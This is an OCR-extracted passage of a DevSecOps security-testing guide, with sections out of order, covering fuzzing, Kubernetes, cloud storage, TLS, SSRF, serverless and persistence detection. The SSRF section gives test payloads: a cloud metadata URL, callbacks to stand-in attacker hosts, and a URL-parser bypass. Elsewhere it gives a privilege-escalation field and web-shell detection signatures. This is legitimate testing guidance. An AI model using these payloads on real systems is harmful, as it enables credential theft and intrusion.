Pipeline-safe validation: validation payloads are: non-destructive (no file modification), self-contained

(no external dependencies), and detectable (unique callback tokens).

Remediation validation: after fixing command injection, re-test with the original payload. Verify: the

payload no longer executes. Additional test: boundary cases and encoding variants.

Severity scoring: command injection is typically: critical (CVSS 9.8). Impact: full system compromise.

Exploitability: straightforward for internet-facing applications.

Prevention guidance: parameterized commands (subprocess.run(['cmd’, arg])), input validation
(allowlist characters), and least privilege (minimal OS permissions for the application).

7.2 Input Fuzzing Strategies

Mutation-based fuzzing: start with valid inputs, randomly mutate: bytes, structure, and values.
Mutations include: bit flips, byte insertion, byte deletion, and boundary value replacement.

Generation-based fuzzing: generate inputs from a grammar or specification. Grammar-based
generation produces: structurally valid inputs with: invalid values, missing fields, and extra fields.

Coverage-guided fuzzing: instrument the target application. The fuzzer uses code coverage to:
prioritize inputs that explore new code paths. libFuzzer and AFL provide: coverage-guided fuzzing.

Protocol fuzzing: fuzz network protocols by: generating malformed messages, replaying modified
traffic, and injecting invalid state transitions. Protocol fuzzers: boofuzz, Peach.

API fuzzing: generate malformed API requests from: OpenAPI specifications. Mutation: modify JSON
fields, inject SQL payloads in parameters, overflow string lengths, and violate type constraints.

Browser fuzzing: fuzz web applications through: headless browsers (Playwright, Puppeteer).
Generate: malformed HTML, JavaScript, and CSS. Monitor for: crashes, XSS, and unexpected

behavior.

Corpus management: maintain a corpus of interesting inputs. Add: inputs that increase coverage.

Remove: redundant inputs (corpus minimization). Share: corpus across test runs.

Crash analysis: when the fuzzer finds a crash, analyze: stack trace, memory access pattern, and root
cause. Categorize: buffer overflow, use-after-free, null dereference, and assertion failure.

Fuzzing harness design: the harness initializes the target, feeds fuzzed input, and detects failures.
Good harness design: minimal setup, fast execution, deterministic behavior.

Continuous fuzzing: run fuzzers continuously (not just in pipeline). OSS-Fuzz provides: continuous
fuzzing infrastructure. ClusterFuzz manages: distributed fuzzing campaigns.

9.2 Kubernetes RBAC Testing
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Service account enumeration: list all service accounts and their bindings. kubectl get serviceaccounts

--all-namespaces. Identify: overly permissive service accounts.

ClusterRole analysis: ClusterRoles with: verb: *', resource: *' are: overly permissive. Analyze: which
entities are bound to: cluster-admin equivalent roles.

Namespace isolation: verify that: pods in namespace A cannot access: resources in namespace B.
Test: cross-namespace API calls, cross-namespace network access.

Token mounting: verify automountServiceAccountToken: false where possible. Mounted tokens

enable: API server access from compromised pods. Minimize: token exposure.

Impersonation testing: test for: users who can impersonate other users or service accounts.

Impersonation enables: privilege escalation. Detect: --as and --as-group usage.

Custom resource access: verify that: custom resource RBAC is properly configured. CRDs may
expose: sensitive data or enable: cluster modification through custom resources.

Audit logging: verify that: Kubernetes audit logging captures RBAC-relevant events. Audit policy
should log: authentication, authorization decisions, and resource access.

Admission control: verify that: admission controllers enforce security policies. OPA/Gatekeeper,
Kyverno, and Pod Security Admission restrict: unsafe pod configurations.

Privilege escalation paths: map: RBAC permissions that enable escalation. create pods (run
privileged container), create roles/bindings (grant permissions), exec into pods (access secrets).

RBAC visualization: tools like rbac-lookup, rakkess, and kubectl-who-can visualize: RBAC

relationships. Visualization reveals: unexpected permissions and complex chains.

10.2 Storage Exposure Testing

S3 bucket testing: check for: public read (anyone can download), public write (anyone can upload),
authenticated read (any AWS account), and unauthenticated listing (enumerate contents).

Azure Blob testing: check for: public access level (container, blob), shared access signatures (overly

permissive SAS tokens), and anonymous access to blobs.

GCP Storage testing: check for: allUsers access (public), allAuthenticatedUsers access (any Google
account), and uniform bucket-level access configuration.

Data classification scan: automatically identify: sensitive data in storage (Pll, credentials, API keys).

Tools: Amazon Macie, Azure Information Protection, and custom regex scanning.

Encryption verification:; verify that: storage is encrypted at rest (AES-256), encryption keys are:
customer-managed or cloud-managed, and key rotation is: configured.

Access logging: verify that: storage access is logged. S3: server access logging and CloudTrail data
events. Azure: diagnostic settings. GCP: Cloud Audit Logs.
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Lifecycle policies: verify that: sensitive data has retention policies. Data should be: automatically
deleted after retention period. Lifecycle policies prevent: data hoarding.

Versioning: object versioning may retain: deleted or modified sensitive data. Verify that: version
lifecycle policies clean up old versions. Test: recovering deleted data from versions.

Cross-region replication: replicated data must be: equally protected in all regions. Verify: encryption,

access controls, and logging in destination regions.

Network access restrictions: verify: VPC endpoints for private access, IP allowlisting for public

access, and no public access where not required. Network restrictions layer defense.

6.2 TLS Configuration Testing

Protocol version testing: verify TLS 1.2 and 1.3 are supported. Verify: SSLv3, TLS 1.0, TLS 1.1 are
disabled. Use: testssl.sh, sslyze, or nmap ssl-enum-ciphers.

Cipher suite testing: verify: strong cipher suites (AES-GCM, ChaCha20). Reject: weak ciphers (RC4,
DES, 3DES, NULL). Prefer: forward secrecy (ECDHE, DHE).

Certificate validation: verify: valid certificate chain, not expired, correct hostname (SAN matching),
not revoked (OCSP, CRL), and strong signature algorithm (SHA-256+).

HSTS verification: verify: Strict-Transport-Security header present, max-age >= 31536000,
includeSubDomains, and preload. HSTS prevents: SSL stripping attacks.

Certificate transparency: verify: certificates are logged in CT logs. Expect-CT header enforces: CT
compliance. CT monitoring detects: unauthorized certificate issuance.

OCSP stapling: verify: OCSP stapling is enabled. Stapling provides: revocation status without
client-side OCSP query. Faster: reduces TLS handshake latency.

Key strength: verify: RSA >= 2048 bits (prefer 4096), ECDSA >= 256 bits (P-256 or P-384). Weak
keys enable: brute force attacks against the key.

Renegotiation: verify: client-initiated renegotiation is disabled (DoS prevention). Verify: secure
renegotiation (RFC 5746) if renegotiation is needed.

Compression: verify: TLS compression is disabled (CRIME attack prevention). Verify: HTTP
compression is not used with sensitive data in the same response (BREACH).

Known vulnerabilities: test for: POODLE (SSLv3), BEAST (TLS 1.0 CBC), GOLDENDOODLE (TLS
padding oracle), and Raccoon (DH key exchange). Use testssl.sh for comprehensive testing.

8.2 GraphQL Security Deep Dive

Introspection control: disable introspection in production. Introspection reveals: complete schema,
types, fields, and mutations. Enable: only in development environments.
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Query depth limiting: deeply nested queries consume: excessive server resources. Implement:
maximum query depth (typically 7-10 levels). Reject: queries exceeding the limit.

Query complexity analysis: assign complexity scores to fields. Total query complexity must not
exceed the limit. Complex fields: relations, computed fields, and aggregations.

Batch query attack: sending multiple queries in a single request. Each query consumes: server
resources. Limit: number of queries per request (typically 5-10 operations).

N+1 query attack: requesting a list with nested relations triggers: one query per relation. This

amplifies: database load. Mitigation: DatalL.oader pattern, query planning.

Field-level authorization: each field resolver must check: user permissions. Missing authorization on

a single field exposes: the entire field's data.

Input coercion abuse: custom scalar types may have: lenient input coercion. Test: extreme values,
wrong types, and boundary conditions in custom scalar inputs.

Subscription security: WebSocket subscriptions may bypass: HTTP middleware, authentication
checks, and rate limiting. Verify: subscription-level authentication and authorization.

Error message leakage: GraphQL errors may expose: stack traces, database schemas, and internal
implementation details. Customize: error handler to sanitize messages in production.

Persisted queries: use persisted queries (pre-approved query allowlist) in production. Reject:
arbitrary queries. Persisted queries prevent: injection and resource abuse.

12.2 Compliance Evidence Collection

Automated evidence: pipeline scans automatically generate: SARIF reports, vulnerability inventories,
configuration baselines, and remediation timelines. Evidence is timestamped and immutable.

SOC 2 evidence: demonstrate: vulnerability management (CC7.1), change management (CC8.1),
logical access (CC6.1), and incident response (CC7.3). Pipeline generates: evidence for each
control.

PCI-DSS evidence: demonstrate: quarterly vulnerability scans (11.2), penetration testing (11.3),
change detection (11.5), and security testing (6.5). Pipeline provides: continuous evidence.

GDPR compliance: demonstrate: privacy impact assessments, data protection by design, breach

notification readiness (72-hour evidence), and data processing records.

ISO 27001 evidence: demonstrate: risk assessment (A.8), vulnerability management (A.12.6),
network security (A.13), and security testing (A.14). Evidence maps to: Annex A controls.

Evidence retention: compliance evidence is stored in: immutable storage (write-once, read-many).
Retention periods: SOC 2 (1 year), PCI-DSS (1 year), SOX (7 years). Automated: lifecycle policies.

Audit trail: every pipeline action is logged: who triggered, what changed, scan results, approvals, and
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deployments. Audit trails are: tamper-evident and centrally stored.

Compliance dashboard: real-time view of: control effectiveness, evidence gaps, upcoming audits,
and remediation status. Dashboard enables: proactive compliance management.

External auditor access: provide auditors with: read-only access to compliance dashboards, evidence

repositories, and scan history. Self-service access reduces: audit preparation overhead.

Continuous compliance: replace: annual point-in-time audits with continuous evidence collection.

Pipeline-native testing provides: daily proof of security control effectiveness.

13.2 GitLab CI Integration

GitLab SAST: include template: SAST.gitlab-ci.yml. Automatically detects: languages and runs
appropriate analyzers. Results appear in: merge request security widget.

GitLab DAST: include template: DAST.gitlab-ci.yml. Configure: target URL and authentication. DAST
runs ZAP against: deployed staging environment. Results in: merge request widget.

GitLab container scanning: include template: Container-Scanning.gitlab-ci.yml. Scans: built container
images for known CVEs. Uses Trivy. Results in: merge request widget.

GitLab dependency scanning: include template: Dependency-Scanning.gitlab-ci.yml. Scans: project
dependencies for known vulnerabilities. Supports: multiple package managers.

GitLab secret detection: include template: Secret-Detection.gitlab-ci.yml. Scans: commits for leaked
secrets (API keys, passwords, tokens). Prevents: accidental credential exposure.

Security dashboard: GitLab Ultimate provides: group and project security dashboards. Dashboards
show: vulnerability trends, severity distribution, and remediation status.

Compliance framework: GitLab compliance frameworks enforce: required pipeline jobs, approval

rules, and merge restrictions. Framework templates ensure: consistent security scanning.

Merge request approvals: require security team approval for: merge requests with new
vulnerabilities. Approval rules are: configurable per: severity level and vulnerability type.

Pipeline security: verify pipeline configuration: protected branches prevent pipeline modification, CI
variables are masked and protected, and pipeline triggers require authentication.

Auto DevOps: GitLab Auto DevOps provides: zero-configuration CI/CD with: build, test, security
scan, review, and deploy. Security scanning is: enabled by default.

14.2 Custom Vulnerability Scanner Architecture

Scanner architecture: modular design with: target manager, scan engine, check library, result
aggregator, and report generator. Each module is: independently testable and replaceable.

Check interface: trait SecurityCheck { fn id(&self) -> &str; fn name(&self) -> &str; fn run(&self, target:
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&Target) -> Vec[Finding]; fn severity(&self) -> Severity; }

Finding model: struct Finding { check_id: String, severity: Severity, title: String, description: String,
evidence: String, remediation: String, cvss: Option[f64], cwe: Option[u32] }

Target model: struct Target { host: String, port: ul6, protocol: Protocol, service: Option[Servicelnfo],

metadata: HashMap[String, String] }. Targets are discovered by reconnaissance.

Scan engine: async fn scan(targets: Vec[Target], checks: Vec[Box[dyn SecurityCheck]]) ->

Vec[Finding>. The engine parallelizes: checks across targets with configurable concurrency.

Check categories: network checks (port scan, TLS, DNS), web checks (XSS, SQLi, SSRF),
infrastructure checks (IAM, storage, networking), and custom checks (business logic).

Plugin loading: checks are loaded from: compiled libraries (dlopen), WASM modules (wasmtime),
and built-in (compiled into the scanner). Plugin interface enables: extensibility.

Credential management: the scanner uses: vault integration for credentials, environment variables
for tokens, and configuration files for: non-sensitive settings. Secrets never appear in logs.

Rate limiting: the scanner respects: per-target rate limits, global rate limits, and backoff on errors.
Rate limiting prevents: service disruption during scanning.

Result deduplication: identical findings from multiple checks are merged. Deduplication uses:

check_id, target, and evidence hash. Unique findings are preserved; duplicates are counted.

15.1 Future Directions in Pipeline Security

Al-assisted vulnerability discovery: machine learning models trained on: vulnerability databases,
code patterns, and exploitation techniques. Al provides: intelligent vulnerability prioritization.

Self-healing pipelines: automated remediation for common vulnerabilities. Dependency updates,

configuration fixes, and security header additions are: automatically applied and verified.

Federated security testing: organizations share: threat intelligence, vulnerability signatures, and
testing results (anonymized) across industry groups. Collective defense improves: detection rates.

Chaos security engineering: inject security failures (revoked credentials, expired certificates, network
partitions) to test: resilience and incident response. Game days for: security scenarios.

Policy as code: security policies are: version-controlled, tested, and deployed like software. Open
Policy Agent (OPA) evaluates: policies against pipeline events.

Zero-trust pipeline: every pipeline component: authenticates, authorizes, and encrypts
communication. No implicit trust based on: network location, build environment, or identity.

Software bill of materials: SBOM generation is automated for every build. SBOMs include:
dependencies, licenses, and vulnerability status. SBOM consumers: security teams, auditors,

customers.
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Runtime application self-protection: RASP integrates security monitoring into the application runtime.
Detects and blocks: attacks in real-time. Provides: application-layer visibility.

DevSecOps maturity model: organizations progress through: initial (ad-hoc scanning), managed
(pipeline-integrated), defined (policy-driven), measured (metrics-based), and optimized (Al-assisted).

Supply chain levels for software artifacts (SLSA): framework for supply chain integrity. Levels: 1
(documented), 2 (hosted), 3 (hardened), 4 (dependencies verified). Pipeline testing validates: SLSA
compliance.

Quantum-safe cryptography: preparing pipelines for: post-quantum cryptographic algorithms.
Testing: hybrid key exchange, lattice-based signatures, and algorithm agility.

Confidential computing: attestation-based trust for pipeline components. Trusted execution

environments (TEES) protect: build secrets, signing keys, and sensitive test data during processing.

2.2 Pipeline Hardening Strategies

Branch protection: require: code review, status checks, and signed commits before merging. Prevent:

force pushes to protected branches. Branch protection is: the first line of defense.

Signed commits: GPG or SSH signing ensures: commit authorship. Verified commits prove: the

committer possesses the signing key. Reject: unsigned commits in protected branches.

Ephemeral build environments: build environments are: created fresh for each build, destroyed after
completion. No persistent state between builds. Prevents: build environment poisoning.

Secret scanning: scan all commits for: API keys, passwords, tokens, and certificates. Pre-commit
hooks catch: secrets before they enter the repository. Post-commit: alert and rotate.

Minimal permissions: pipeline service accounts have: least-privilege access. Read-only access to:
source repositories. Write access to: artifact storage only. No access to: production secrets.

Network isolation: build environments are: network-isolated. Outbound access is: allowlisted

(package registries only). No inbound access. Network policies enforce: isolation.

Immutable artifacts: build artifacts are: signed, checksummed, and stored in immutable storage.
Artifact tampering is: detectable. Deployment verifies: artifact integrity before execution.

Audit logging: all pipeline actions are: logged with timestamp, actor, and action. Logs are: immutable,

centrally stored, and monitored. Alerting on: suspicious pipeline activities.

Dependency pinning: all dependencies are: pinned to exact versions in lockfiles. Hash verification
ensures: downloaded packages match expected content. No floating versions.

Two-person rule: critical pipeline changes (deployment to production, security policy changes)
require: approval from two authorized individuals. Prevents: insider threats.

3.3 OSINT Collection Framework
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GitHub dorking: search GitHub for: organization-specific code, leaked credentials, internal
documentation, and API endpoints. Queries: org:target filename:.env, org:target password.

Shodan queries: search for: organization's internet-facing infrastructure. Queries: org:'Target Corp',
ssl.cert.subject.cn:target.com. Discover: exposed services, 10T devices, and databases.

LinkedIn enumeration: employee profiles reveal: technology stack (listed skills), organizational
structure, and security team size. Automated: extraction with proper rate limiting.

Wayback Machine: historical website snapshots reveal: old API endpoints, deprecated features, and

removed pages that may still be accessible on the live server.

Certificate Transparency monitoring: continuous monitoring of CT logs for: new certificates issued for

target domains. Alerts on: unexpected certificate issuance, domain squatting.

Dark web monitoring: automated scanning of: paste sites, forums, and marketplaces for: leaked
credentials, data breaches, and threat actor discussions about the target.

Domain history: WHOIS history reveals: ownership changes, registrar changes, and DNS
configuration changes. Historical DNS: IP address changes, MX record changes.

Code repository mining: search public repositories for: configuration files, APl documentation,
internal tools, and deployment scripts that reveal: architecture and attack surface.

Job posting analysis: job descriptions reveal: technology stack, security tools, and organizational
priorities. 'Seeking Kubernetes admin' reveals: Kubernetes usage.

Social media monitoring: monitor employee social media for: technology discussions, conference

talks, blog posts, and project descriptions that reveal: internal details.

4.2 Dependency Scanning Deep Dive

CVE database correlation: match dependency versions against: NVD (National Vulnerability
Database), GitHub Advisory Database, and OSV (Open Source Vulnerability) database.

Transitive dependency analysis: vulnerabilities in transitive dependencies (dependencies of
dependencies) are equally dangerous. Scan the full dependency tree, not just direct dependencies.

License compliance: SCA tools check: license compatibility. GPL dependencies in proprietary
software create: legal risk. License violations are: flagged alongside vulnerabilities.

Dependency freshness: outdated dependencies indicate: unmaintained components. Track: days
since last update, major version gap, and end-of-life status.

Reachability analysis: not all vulnerable code paths are reachable from the application. Reachability
analysis determines: is the vulnerable function actually called? Reduces: false positives.

Automated PR generation: when vulnerabilities are found, automatically generate: pull requests that
update the vulnerable dependency. Include: changelog, breaking changes, and test results.
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Lock file integrity: verify that lock files (Cargo.lock, package-lock.json) are committed and unchanged
during CI. Modified lock files may indicate: dependency confusion attacks.

Private registry scanning: scan internal packages hosted on: private registries (Artifactory, Nexus,
GitHub Packages). Internal packages have: the same vulnerability risks as public ones.

SBOM generation: generate Software Bill of Materials in: SPDX or CycloneDX format. SBOMs list: all
components, versions, licenses, and known vulnerabilities.

Vulnerability exception management: some vulnerabilities have: no fix available, no applicable

exploit, or are in non-production code. Exception workflow: document justification, set review date.

5.3 SSRF Validation Techniques

Basic SSRF: user-controlled URL is fetched by the server. Test: replace URL with
http://169.254.169.254/latest/meta-data/ (AWS metadata). Success: cloud credentials exposed.

Blind SSRF: no response content is returned. Detection: DNS callback (unique-id.attacker-dns.com),
HTTP callback (http://attacker-server/callback), and timing differences.

Protocol smuggling: SSRF through non-HTTP protocols. gopher:// enables: raw TCP connections.

file:// enables: local file reading. dict:// enables: Redis command injection.

Internal service discovery: use SSRF to probe internal network. Scan: common ports on internal IP
ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Map: internal services.

Cloud metadata exploitation: AWS IMDSv1 is vulnerable to SSRF. Retrieve: IAM role credentials,
user data scripts, and instance identity. Mitigation: upgrade to IMDSV2 (requires token).

DNS rebinding: the server validates the URL hostname (allowlist check), then re-resolves DNS.

Attacker's DNS returns: internal IP on second resolution. Bypasses: hostname allowlists.

URL parser differential: different URL parsers interpret URLs differently.
http://attacker.com@internal-server/ may bypass: validation but connect to: internal-server.

Redirect-based SSRF: the target URL redirects to an internal address. Server follows redirect to:

internal service. Mitigation: disable redirect following, validate redirect targets.

SSRF through file upload: SVG files with external references, XML files with DTD references, and

PDF files with remote resources. File processing triggers: server-side requests.

SSRF mitigation testing: verify: URL allowlisting, DNS resolution validation, network egress filtering,

and metadata service protection. Test: bypass technigues against each mitigation.

7.3 Business Logic Vulnerability Testing

Price manipulation: test for: negative quantities, extreme discounts, currency manipulation, and race

conditions in pricing calculations. E-commerce applications are: primary targets.
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Workflow bypass: test for: skipping required steps (payment, verification), replaying completed steps,
and accessing future steps without completing prerequisites.

Race condition testing: send concurrent requests to: transfer funds, claim rewards, or update
inventory. Race conditions enable: double-spending and resource duplication.

Account enumeration: test for: different responses for valid vs invalid usernames. Registration: ‘email
already exists'. Login: 'incorrect password' vs 'user not found'. Timing differences.

Mass assignment: send extra fields in APl requests. If the backend blindly assigns all fields:

user[role]=admin could elevate privileges. Test: hidden fields in all forms and APlIs.

Feature flag manipulation: test for: client-side feature flags that can be: modified via browser tools,

URL parameters, or cookie values. Server must validate: feature access.

Time-of-check-to-time-of-use (TOCTOU): check permission, then perform action. Between check and

action, permissions may change. Test: parallel permission revocation and access.

Integer overflow: test for: integer overflow in: quantities, prices, and counters. 2147483647 + 1 =
-2147483648 in signed 32-bit. Overflow causes: unexpected behavior.

Logic bomb detection: test for: time-based or condition-based triggers that alter application behavior.
Verify: consistent behavior across: dates, user counts, and request volumes.

Denial of wallet: test for: operations that incur costs (SMS, email, API calls) without proper rate
limiting. Attackers trigger: excessive costs through automated requests.

9.3 Kubernetes Network Policy Testing

Default deny: verify that: default network policy denies all ingress and egress traffic. Without default
deny: all pods can communicate with all other pods.

Ingress policy testing: verify that: only expected sources can reach each service. Test: pod-to-pod,
namespace-to-namespace, and external-to-service communication paths.

Egress policy testing: verify that: pods can only connect to: expected destinations. Critical: block
metadata service access (169.254.169.254), restrict DNS, and limit external access.

DNS policy: DNS is often allowed broadly. Verify: DNS traffic goes to: cluster DNS only. Attackers
use: DNS tunneling for data exfiltration when DNS is unrestricted.

Service mesh policies: lIstio, Linkerd, and Cilium provide: mTLS between services, L7 policy
enforcement, and traffic observability. Test: service mesh policy effectiveness.

Network policy bypass: test for: hostNetwork: true pods that bypass network policies, node-level
access that bypasses pod policies, and LoadBalancer services that expose internal services.

Policy audit; enumerate all network policies. Identify: namespaces without policies, overly permissive
policies (allow all), and unused policies. Tools: Cilium Hubble, Calico UI.
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Microsegmentation testing: verify that: each microservice can only communicate with its declared
dependencies. Communication matrix testing validates: the full dependency graph.

Encrypted traffic: verify that: inter-pod traffic is encrypted. TLS or mTLS between services prevents:
traffic sniffing within the cluster. Verify: certificate rotation.

External access testing: verify that: ingress controllers properly restrict external access. Test:
path-based routing bypass, host header manipulation, and TLS termination security.

10.3 Serverless Security Testing

Function injection: test for: command injection, code injection, and SQL injection in serverless
function inputs. Lambda, Cloud Functions, and Azure Functions are: equally vulnerable.

Event source poisoning: test for: malicious events from: S3 notifications, SQS messages, API
Gateway requests, and Kinesis streams. Validate: all event input sources.

Privilege escalation: test for: overly permissive execution roles. Lambda functions should have:

minimal IAM permissions. Test: can the function access resources beyond its scope?

Cold start exploitation: during cold start, initialization code runs in a potentially different security
context. Test: environment variable leakage, temporary file access, and /tmp persistence.

Layer poisoning: serverless layers (shared code/dependencies) can be: compromised. Verify: layer

integrity, source, and version. Use: layer version pinning.

Timeout exploitation: functions with long timeouts are: more expensive to abuse. Functions

processing: attacker-controlled data with no timeout produce: denial-of-wallet attacks.

Concurrency abuse: trigger maximum concurrent executions to: exhaust reserved concurrency and
impact other functions. Test: concurrency limits and throttling behavior.

Environment variable exposure: verify that: sensitive environment variables are not logged, not
exposed in error messages, and encrypted (using KMS). Test: variable exposure vectors.

Function URL testing: publicly accessible function URLs (Lambda Function URLS, Cloud Functions
HTTP triggers) are: direct attack surfaces. Test: authentication, authorization, and input validation.

Ephemeral storage testing: /tmp in Lambda is: shared across invocations of the same container.
Previous invocation data may be: readable. Clean: sensitive data from /tmp after use.

11.2 Credential Harvesting Simulation

Service account tokens: from compromised containers, enumerate: mounted service account tokens,

environment variable credentials, and configuration file secrets.

Metadata service harvesting: cloud metadata services expose: IAM credentials, instance identity,
user data scripts, and network configuration. Test: metadata access from each workload.
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Secret store access: test: can compromised workloads access HashiCorp Vault, AWS Secrets
Manager, or Azure Key Vault? Verify: authentication, authorization, and audit logging.

Database credential exposure: test for: hardcoded database credentials, environment variable
credentials, and configuration file credentials. Verify: credential rotation and least privilege.

SSH key harvesting: test for: SSH private keys in: container images, mounted volumes, and user
home directories. Exposed keys enable: lateral movement to other systems.

Token theft: test for: JWT tokens in logs, session cookies without HttpOnly flag, and tokens in URL
parameters. Token theft enables: session hijacking and impersonation.

Credential relay: captured credentials from one system are used to access: other systems. Test:

credential reuse across: services, environments, and accounts.

Kerberos ticket harvesting: in Windows environments, test for: Kerberoasting (requesting service
tickets for cracking), golden ticket attacks, and pass-the-hash.

Cloud API key exposure: test for: APl keys in client-side code, public repositories, and error
messages. Exposed API keys enable: unauthorized access to cloud services.

Credential rotation verification: after discovering exposed credentials, verify that: rotation procedures
work, old credentials are invalidated, and new credentials are distributed correctly.

13.3 Jenkins Pipeline Integration

Jenkins pipeline security: Jenkinsfile defines: build, test, and deployment stages. Security stages:
SAST, SCA, DAST, and compliance checks. Scripted and declarative pipeline support.

Shared library: Jenkins shared libraries centralize: security scan configurations, result parsing, and
notification logic. Shared libraries ensure: consistency across projects.

Credential binding: withCredentials() block provides: environment variables with masked credentials.
Credentials are: stored in Jenkins credential store, not in Jenkinsfile.

Docker-based agents: security tools run in: Docker containers on Jenkins agents. Each tool has: its
own container image, isolated from other tools and the host.

Parallel scanning: parallel { stage('SAST') { ... } stage('SCA") { ... } stage('DAST') { ... } }. Parallel
stages reduce: total pipeline duration.

Quality gates: if (findings.any { it.severity >= 'HIGH' }) { error('Security gate failed’) }. Quality gates
block: deployment when critical vulnerabilities are found.

Plugin ecosystem: Jenkins security plugins: OWASP Dependency-Check, SonarQube Scanner,
Anchore Container Scanner, and Warnings Next Generation (SARIF parser).

Blue Ocean: Blue Ocean Ul provides: visual pipeline editor, better pipeline visualization, and
GitHub/GitLab integration. Security scan results appear in: pipeline visualization.
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JCasC (Jenkins Configuration as Code): manage Jenkins configuration as: version-controlled YAML
files. Security configuration: authentication, authorization, and credentials are: codified.

Agent security: Jenkins agents should be: ephemeral (cloud agents), isolated (separate from
production), and minimal (only required tools installed). Agent compromise is: a high-risk event.

14.3 Lateralus Fuzzing Framework

Fuzzing target: fn fuzz_target(data: &[u8]) { let input = parse_input(data); process(input); }. The
fuzzing target takes: raw bytes and exercises the code under test.

Structured fuzzing: use Arbitrary trait to generate structured inputs. #[derive(Arbitrary)] struct
Request { method: Method, path: String, headers: Vec[Header] }. Better coverage than raw bytes.

Coverage instrumentation: -C instrument-coverage enables: source-based coverage. The fuzzer
uses coverage to: prioritize inputs that explore new code paths.

Crash categorization: crashes are categorized by: stack trace signature, error type (panic, segfault,
abort), and root cause. Deduplication reduces: triage overhead.

Corpus management: the fuzzer maintains: a corpus of interesting inputs. New inputs that increase
coverage are: added. Redundant inputs are: removed (minimization).

Dictionary: domain-specific tokens improve fuzzing effectiveness. Protocol keywords, field names,
and magic bytes are: provided as dictionary entries.

Timeout handling: long-running inputs indicate: algorithmic complexity vulnerabilities. Timeout
threshold: configurable (default 60 seconds). Timeout inputs are: reported as findings.

Memory limits: set maximum memory usage to detect: memory exhaustion vulnerabilities. OOM
(out-of-memory) events are: reported as findings with the triggering input.

Parallel fuzzing: multiple fuzzer instances share: corpus and crash information. Distributed fuzzing
across: Cl workers maximizes: coverage exploration rate.

Regression testing: confirmed crashes are: added to the test suite as regression tests. Regression
tests verify: that fixed vulnerabilities stay fixed.

6.3 DNS Security Testing

DNS zone transfer: attempt AXFR against all authoritative hameservers. Successful zone transfers

reveal: complete DNS records. Mitigation: restrict AXFR to authorized secondary servers.

DNSSEC validation: verify that: DNSSEC is enabled, signatures are valid, and key rotation is
configured. Missing DNSSEC enables: DNS spoofing attacks.

DNS cache poisoning: test for: predictable transaction IDs, open recursive resolvers, and
Kaminsky-style attacks. Modern resolvers use: source port randomization and DNSSEC.
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DNS amplification: test for: open DNS resolvers that can be used for DDoS amplification. ANY

queries produce: large responses. Mitigation: rate limiting, response rate limiting (RRL).

DNS tunneling detection:; test for: long DNS queries, unusual query types (TXT, NULL), high query
volume, and encoded data in subdomains. DNS tunneling exfiltrates: data through DNS.

DNS rebinding detection: verify that: internal DNS resolvers reject responses with internal IP
addresses for external domains. DNS rebinding bypasses: same-origin policy.

CNAME takeover: test for: dangling CNAME records pointing to decommissioned services. If the

target service is claimable: the attacker can serve content on the victim's domain.

Subdomain takeover: test for: DNS records pointing to unclaimed resources (S3 buckets, Azure Blob

containers, Heroku apps, GitHub Pages). Claim: the resource to demonstrate impact.

DNS over HTTPS/TLS: test for: DNS-over-HTTPS and DNS-over-TLS support. Encrypted DNS
prevents: DNS query sniffing and manipulation by network intermediaries.

Internal DNS exposure: verify that: internal DNS zones are not resolvable from external networks.
Internal hostnames may reveal: infrastructure details and attack targets.

8.3 WebSocket Security Testing

WebSocket authentication: verify that: WebSocket connections require authentication. Test:
connecting without credentials, with expired tokens, and with tokens from other users.

Cross-Site WebSocket Hijacking: verify that: Origin header is validated. Without Origin checking,
malicious websites can: establish WebSocket connections as the victim user.

Message injection: test for: injection attacks through WebSocket messages. SQL injection, command
injection, and XSS payloads in: WebSocket message data.

Rate limiting: verify that: WebSocket message rate is limited. Unlimited messages enable: denial of

service and resource exhaustion.

Authorization per message: verify that: each WebSocket message is authorized. Connection-level

authorization is insufficient if: message types have different permission requirements.

Encryption: verify that: WebSocket connections use WSS (WebSocket Secure over TLS).
Unencrypted WS connections are: vulnerable to interception and manipulation.

Message size limits: verify that: maximum message size is enforced. Large messages consume:

memory and bandwidth. Missing limits enable: denial of service.

Reconnection handling: test: does the server properly clean up: disconnected sessions, partial
messages, and stale state? Resource leaks from disconnections cause: memory exhaustion.

Binary message testing: fuzz binary WebSocket messages with: malformed data, oversized frames,
fragmented messages, and invalid opcodes. Protocol implementation bugs cause: crashes.
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Broadcast security: in multi-user WebSocket applications, verify that: messages are only broadcast
to authorized recipients. Missing authorization enables: information disclosure.

11.3 Persistence Detection and Testing

Cron job persistence: test for: unauthorized cron jobs that maintain access. Check: /etc/crontab,
Ivar/spool/cron/, and user crontabs. Automated: comparison to baseline.

Systemd service persistence: test for: unauthorized systemd services. Check: /etc/systemd/system/,
lusrllib/systemd/system/. Automated: service enumeration and baseline comparison.

SSH authorized keys: test for: unauthorized SSH keys in user accounts. Check:
~/.ssh/authorized_keys for all users. Automated: key inventory and rotation verification.

Container image backdoors: test for: modified container images in registries. Verify: image digests
match expected values. Automated: image scanning and signature verification.

Kubernetes backdoors: test for: unauthorized deployments, DaemonSets, and CronJobs. Check: all

namespaces for: unexpected workloads. Automated: cluster inventory and baseline comparison.

Web shell detection: test for: web shells in web server directories. Signatures: eval(), exec(),
passthru(), system(), base64_decode(). Automated: file integrity monitoring.

Rootkit detection: test for: kernel-level rootkits, library injection, and binary modification. Tools:
rkhunter, chkrootkit, AIDE. Automated: integrity verification against known-good baselines.

Backdoor account detection: test for: unauthorized user accounts, accounts with elevated privileges,
and accounts with no password expiration. Automated: account inventory monitoring.

DNS-based persistence: test for: modified DNS records that redirect traffic. Attacker modifies: A
records, CNAME records, or MX records for persistent access.

Cloud persistence: test for: unauthorized 1AM roles, Lambda functions, and scheduled tasks that
maintain access. Cloud persistence is: harder to detect than traditional persistence.

12.3 Risk Scoring Methodology

CVSS base score: calculated from: attack vector (network, adjacent, local, physical), attack
complexity (low, high), privileges required (none, low, high), user interaction, scope, and impact.

Environmental score adjustment: adjust CVSS based on: asset criticality (production vs
development), compensating controls (WAF, IDS), and data sensitivity. Environmental scores reflect:
actual risk.

Exploitability factors: consider: public exploit availability, exploit maturity (proof-of-concept, functional,

weaponized), and skill level required. Active exploitation increases: urgency.

Business context scoring: multiply technical severity by: asset value, data sensitivity, regulatory

impact, and customer impact. Business context transforms: technical scores to business risk.
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Aggregate risk score: combine: individual finding scores into a service-level risk score. Aggregation:

weighted sum based on severity, or: maximum score for conservative assessment.

Risk trend analysis: track risk scores over time. Increasing trend indicates: security degradation.
Decreasing trend indicates: improving security. Flat trend indicates: stable posture.

SLA-based prioritization: define remediation SLAs by severity: critical (24 hours), high (7 days),
medium (30 days), low (90 days). Track: SLA compliance as a metric.

